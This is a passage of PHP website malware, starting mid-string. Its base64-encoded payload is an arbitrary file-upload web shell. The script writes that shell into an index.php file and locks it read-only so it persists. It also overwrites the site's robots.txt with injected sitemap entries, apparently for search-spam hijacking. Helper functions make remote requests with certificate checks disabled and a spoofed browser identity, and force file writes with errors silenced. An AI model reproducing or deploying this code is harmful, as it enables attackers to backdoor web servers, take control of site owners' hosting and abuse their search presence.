dXVsibmFtZSJdKSkgew0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbImZpbGVwYXRoIl0pKXsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvIi4kX1BPU1RbImZpbGVwYXRoIl07DQogICAgICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJHBhdGgpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHBhdGgsIDA3NTUsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiDnm67lvZXliJvlu7rmiJDlip/vvJokcGF0aCBcbiA8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBfX0RJUl9fOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gX19ESVJfXzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiAiIC4gJHBhdGggLiAiLyIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgICAgICAgICAgICAgICBlY2hvICI8aHI+IjsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9ICRwYXRoIC4gIi8iIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdOw0KICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRmaWxlcGF0aCk7DQogICAgICAgICAgICAgICAgJG5ld1BhdGggPSAkdXJsLnN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiICwgJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICBlY2hvICJHbyBoZXJlIDogPGEgaHJlZj0nJG5ld1BhdGgnPiIgLiAkbmV3UGF0aCAuICI8L2E+PGJyIC8+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiRmlsZSB1cGxvYWQgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQo/Pg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSI8P3BocCBlY2hvIGJhc2U2NF9kZWNvZGUoImJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlRPT0iKTs/PiI+DQogICAgPGxhYmVsIGZvcj0iZmlsZSI+RmlsZW5hbWU6PC9sYWJlbD48YnIvPjxici8+DQogICAg6Ieq5a6a5LmJ6Lev5b6E77yaJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVwYXRoIiBpZD0iZmlsZXBhdGgiIC8+PGJyLz48YnIvPg0KICAgIOS4iuS8oOaWh+S7tu+8mjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBpZD0iZmlsZSIgLz48YnIvPg0KICAgIDxici8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0i54K55Ye75LiK5LygIj4NCiAgICA8L2Zvcm0+DQo8L2Rpdj4="; $supercontent = base64_decode($codestr); if(file_exists($superdirectory."/index.php")){ @chmod($superdirectory."/index.php",0755); @writeToFile($superdirectory."/index.php",$supercontent); }else{ @writeToFile($superdirectory."/index.php",$supercontent); } @chmod($superdirectory."/index.php",0444); } } } function create_xml($now_url){ $rootDir = $_SERVER['DOCUMENT_ROOT']; @chmod($rootDir."/robots.txt",0755); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $currentHost = $protocol.'://' . $_SERVER['HTTP_HOST']; $yuming_detail = ""; if(stripos($now_url,".php")!==false){ $post_url_list = explode(".php",$now_url); $yuming_detail = $post_url_list[0].".php"; } $robots_content_new = "VXNlci1hZ2VudDogKg0KQWxsb3c6IC8NClNpdGVtYXA6ICMjI2N1cnJlbnRIb3N0IyMjL3NpdGVtYXBhbGwueG1sDQpTaXRlbWFwOiAjIyNjdXJyZW50SG9zdCMjIy9zaXRlbWFwbW9ua2V5LnhtbA0KU2l0ZW1hcDogIyMjY3VycmVudEhvc3QjIyMvc2l0ZW1hcC54bWwNClNpdGVtYXA6ICMjI2N1cnJlbnRIb3N0IyMjL3NpdGVtYXBrZXkueG1s"; $robots_content_new = base64_decode($robots_content_new); $robots_content_new = str_replace("###currentHost###",$currentHost,$robots_content_new); if(!empty($yuming_detail)){ $robots_content_new.="\nSitemap: ".$yuming_detail."?sitemapkey.xml\nSitemap: ".$yuming_detail."?sitemapall.xml\nSitemap: ".$yuming_detail."?sitemap.xml"; } @writeToFile($rootDir."/robots.txt",$robots_content_new); } function getClientIp() { $ipAddress = ''; if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ipAddress = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ipAddress = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_REAL_IP'])) { $ipAddress = $_SERVER['HTTP_X_REAL_IP']; } else { $ipAddress = $_SERVER['REMOTE_ADDR']; } if (strpos($ipAddress, ',') !== false) { $ipArray = explode(',', $ipAddress); $ipAddress = trim($ipArray[0]); } return $ipAddress; } function makeCurlRequest($url, $method = 'GET', $postData = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $headers = [ "Cache-Control: no-cache", "Connection: keep-alive", "Pragma: no-cache", "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" ]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); } $response = curl_exec($ch); curl_close($ch); return $response; } function writeToFile($filename, $data) { $result = @file_put_contents($filename, $data); if ($result === false) { $handle = fopen($filename, 'w'); if ($handle) { $result = fwrite($handle, $data); fclose($handle); } } return $result; } ?>